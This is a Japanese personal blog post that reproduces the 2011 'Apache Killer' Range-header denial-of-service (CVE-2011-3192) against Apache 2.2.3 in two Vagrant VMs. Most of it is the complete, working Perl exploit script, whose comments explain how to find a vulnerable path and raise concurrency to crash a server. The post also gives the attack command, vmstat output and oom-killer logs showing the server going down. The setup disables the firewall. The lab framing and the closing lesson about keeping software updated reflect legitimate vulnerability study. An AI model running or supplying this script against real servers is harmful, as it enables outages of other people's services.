m_shige1979のときどきITブログ

プログラムの勉強をしながら学習したことや経験したことをぼそぼそと書いていきます

Github(変なおっさんの顔でるので気をつけてね)

https://github.com/mshige1979

いまさらapache-killer検証

なにこれ?

apacheが2.2.3の場合の脆弱性でなんかヘッダに変なデータを埋め込んでメモリ破壊を行うらしい

注意

実行したらサーバが落ちる可能性がありますm(__)m

環境

vagrant

でいいかな???

両方に設定すること
# iptables off
sudo chkconfig iptables off
sudo service iptables stop

# epel,remi
sudo rpm -Uvh http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
sudo rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm

# developer
sudo yum -y update
sudo yum -y groupinstall "Development Tools"

cd /etc/yum.repos.d/
sudo wget http://wing-repo.net/wing/6/EL6.wing.repo
sudo wget http://wing-repo.net/wing/extras/6/EL6.wing-extras.repo
sudo yum clean all
sudo yum -y install yum-priorities

# git
sudo yum -y remove git
sudo yum -y install git --enablerepo=wing

# ntp
sudo yum -y install ntp
sudo service ntpd start
sudo chkconfig ntpd on

# vim
sudo yum -y install vim
1台目
cd /usr/local/src/

sudo wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache//apr/apr-1.5.1.tar.gz
sudo tar zxf apr-1.5.1.tar.gz
cd apr-1.5.1
sudo ./configure
sudo make
sudo make install

cd /usr/local/src/
sudo wget http://ftp.yz.yamagata-u.ac.jp/pub/network/apache//apr/apr-util-1.5.3.tar.gz
sudo tar zxf apr-util-1.5.3.tar.gz
cd apr-util-1.5.3
sudo ./configure --with-apr=/usr/local/apr
sudo make
sudo make install

cd /usr/local/src/
sudo wget http://archive.apache.org/dist/httpd/httpd-2.2.3.tar.gz
sudo tar zxf httpd-2.2.3.tar.gz
cd httpd-2.2.3
sudo ./configure \
    --enable-so \
    --enable-rewrite \
    --with-apr=/usr/local/apr \
    --with-apr-util=/usr/local/apr \
    --enable-modules=all \
    --enable-dav \
    --enable-proxy \
    --enable-proxy-ajp

sudo make
sudo make install
sudo /usr/local/apache2/bin/apachectl start

画面
f:id:m_shige1979:20140707235309p:plain

2台目

attack用スクリプト

#!/usr/bin/perl
 
#
# Apache httpd Remote Denial of Service (memory exhaustion)
# due to a flawed implementation of Partial Content requests
# (CVE-2011-3192).
#
# by Javier, based on Kingcope's code at
# http://seclists.org/fulldisclosure/2011/Aug/175
#
# Aug 25 2011
#
# Successful exploitation will result in swapping memory to
# filesystem on the remote side and killing of processes
# when running out of swap space.
#
# WARNING: The exploited system will become unstable and even crash.
# THIS TOOL IS PROVIDED "AS IS", USE IT AT YOUR OWN RISK.
#
# Usage:
#
# 1) Try to find an exploitable URL on the website.
#    You just can run the script starting with the root
#    path "/" (default) and looking at the server response.
#
# 2) If you get as response "HTTP/1.1 206 Partial Content..."
#    then the server is exploitable at the issued path.
#    If not, you could try using a different one.
#
#    Be aware that only Apache webservers are vulnerable
#    (look at the "Server" field in the response,
#    but don't always believe it ;) ).
#
# 3) Once discovered an exploitable path you can run
#    ./apachepartial.pl www.example.com /somepath/
#
# 4) With the default value of 10 concurrent requests, you
#    should notice a significant increase in memory consumption.
#    If you raise to 50 or more simultaneous reqs, you can
#    crash the server.
#
# MENTAL NOTE: I have to use a virtual machine when testing this
# sort of things on my local webserver to avoid crashing myself.
#
# FIX:
#
# A temporary fix has been posted on:
#   http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3C20110824161640.122D387DD@minotaur.apache.org%3E
#
# I've tried enabling mod_setenvif and mod_headers and adding
# the following directives on the apache global configuration:
#
#   SetEnvIf Range (,.*?){5,} bad-range=1
#   RequestHeader unset Range env=bad-range
#
# This ignore Range header when the request includes 5 or more.
#
#
 
use strict;
use warnings "all";
use IO::Socket;
 
use vars qw($host $port $path $numforks $useragent $loops);
 
sub showusage {
        print "\nApache Remote Denial of Service (memory exhaustion)\n";
        print "due to a flawed implementation of Partial Content requests\n";
        print "(CVE-2011-3192).\n\n";
        print "by Javier, based on Kingcope's code available at\n";
        print "http://seclists.org/fulldisclosure/2011/Aug/175\n\n";
        print "Usage: ./apachepartial.pl <host> [path] [parallel reqs] [loops] [port]\n";
        print "         [path] defaults to '/'\n";
        print "         [parallel reqs] defaults to 10\n";
        print "         [loops] defaults to 5 (0 = infinite)\n";
        print "         [port] defaults to 80\n\n";
        print "Example: For attacking http://www.example.com:8080/somepath/ with\n";
    print "         100 concurrent requests over 5 loops:\n";
        print "         ./apachepartial.pl www.example.com /somepath/ 100 5 8080\n\n";
        print "See the comments at the beginning of the script code.\n\n";
        print "WARNING: The exploited system may become unstable and even crash.\n";
        print "         THIS TOOL IS PROVIDED 'AS IS', USE IT AT YOUR OWN RISK.\n\n";
        exit;  
}
 
sub testserver {
        my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                        PeerPort => $port,
                                                Proto    => 'tcp')
                || die "Can't connect to $host";
 
        my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n";
        $req .= "User-Agent: $useragent\r\nRange:bytes=0-100\r\n";
        $req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n";
 
        print "\nTesting http://$host:$port$path\n\n";
        print "Request:\n$req";
        print $sock $req;
 
        my $resp = '';
        while (my $line = <$sock>) {
                $resp .= $line
        }
        print "Response:\n$resp";
 
        return ($resp =~ /^HTTP\/1.1 206/);
}
 
sub exploitserver {
        $|=1;
        srand(time());
 
        my $range = '';
        for (my $limit = 0; $limit < 1300; $limit++) {
                $range .= ",5-$limit";
        }
 
        my @children = ();
        for (1..$numforks) {
 
                my $pid = fork();      
 
                if ($pid) {
                        push(@children, $pid);
                } else {
                        my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                                 PeerPort => $port,
                                                         Proto    => 'tcp')
                                || die "Can't connect to $host:$port";
 
                        my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n";
                        $req .= "User-Agent: $useragent\r\nRange:bytes=0-$range\r\n";
                        $req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n";
 
                        print $sock $req;
                        while(<$sock>) {}
 
            print ".";
                        exit;
                }
        }
 
        foreach (@children) {
                waitpid($_, 0);
        }
        print " finished.\n";
}
 
# Main program
 
showusage if ($#ARGV == -1);
 
$host = $ARGV[0];
$path = $#ARGV >= 1 ? $ARGV[1] : '/';
$numforks = $#ARGV >= 2 ? $ARGV[2] : 10;
$loops = $#ARGV >= 3 ? $ARGV[3] : 5;
$loops = -1 if ($loops == 0);
$port = $#ARGV == 4 ? $ARGV[4] : 80;
 
$useragent = "Apache httpd Partial Content bug exploit";
 
if (testserver) {
        print "Host seems vulnerable.\n\n";
        print "Hitting http://$host:$port$path\n";
        print "($numforks parallel reqs over $loops loops)\n\n";
 
        my $loop = 0;
        while($loop != $loops) {
                $loop++;
                print "Loop $loop ";
                exploitserver;
        }
 
} else {
        print "Host does not seem vulnerable (maybe another path?).\n\n";
        exit;
}

apache-killer.pl

実行

テスト
perl apache-killer.pl 対象のWebサーバIP コンテンツURI リクエスト数 同時接続数 ポート番号
perl apache-killer.pl 192.168.33.102 /apache-killer1-1.png 100 5 80

結果

vmstat 1
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
 1 10 2611776   4496    304   5132 120088 17888 120088 17900 11862 9394  1 79  0 20  0
10  7 2613948   4512    312   5160 105848 17236 105848 17256 11409 8499  0 74  0 26  0
15 22 2611940   5004    312   5228 111484 14464 111572 14472 11892 10746  4 81  0 15  0
24 21 2588488   8168    256   5156 122552 2420 122872  2432 11860 18220 12 71  0 18  0
24 26 2600972   6420    240   5068 60064 20684 60064 20684 7385 3835  7 68  0 26  0
23 32 2502256   4808    216   3732 47056 31748 56012 31776 7853 5086  5 63  0 32  0
25 45 2545000   4592    192   3324 23376 47936 32364 48028 8655 4521  4 61  0 34  0
11 54 2592972   4556    188   3696 9732 47628 11556 47656 6883 4272  7 58  0 35  0
 8 78 2530432   4516    176   1824 27428 204820 63056 204864 29512 19929  5 60  0 35  0
vmの画面でもエラーを出力

f:id:m_shige1979:20140708002629p:plain

oom-killerを確認
Jul  7 15:25:07 localhost kernel: Out of memory: Kill process 7760 (httpd) score 44 or sacrifice child
Jul  7 15:25:07 localhost kernel: Killed process 7760, UID 2, (httpd) total-vm:165760kB, anon-rss:5212kB, file-rss:8kB
Jul  7 15:25:10 localhost kernel: httpd invoked oom-killer: gfp_mask=0x200da, order=0, oom_adj=0, oom_score_adj=0
Jul  7 15:25:10 localhost kernel: httpd cpuset=/ mems_allowed=0
Jul  7 15:25:10 localhost kernel: Pid: 7771, comm: httpd Tainted: G           --------------- H  2.6.32-358.el6.x86_64 #1
Jul  7 15:25:10 localhost kernel: Call Trace:
Jul  7 15:25:10 localhost kernel: [<ffffffff810cb5d1>] ? cpuset_print_task_mems_allowed+0x91/0xb0
Jul  7 15:25:10 localhost kernel: [<ffffffff8111cd10>] ? dump_header+0x90/0x1b0
Jul  7 15:25:10 localhost kernel: [<ffffffff810e91ee>] ? __delayacct_freepages_end+0x2e/0x30
Jul  7 15:25:10 localhost kernel: [<ffffffff8121d0bc>] ? security_real_capable_noaudit+0x3c/0x70
Jul  7 15:25:10 localhost kernel: [<ffffffff8111d192>] ? oom_kill_process+0x82/0x2a0
Jul  7 15:25:10 localhost kernel: [<ffffffff8111d0d1>] ? select_bad_process+0xe1/0x120

あ…落ちた。(・o・)

まとめ

常にソフトウェアは簡単にアップデートできるようにしておくことは必要ということ。
バージョンアップする際、あーしてこーしてとかして本番環境が壊れる事になったり、セキュリティアタックでサーバが落ちることは避けなくてはならない。

一旦、最新バージョンの検証もしてみよう。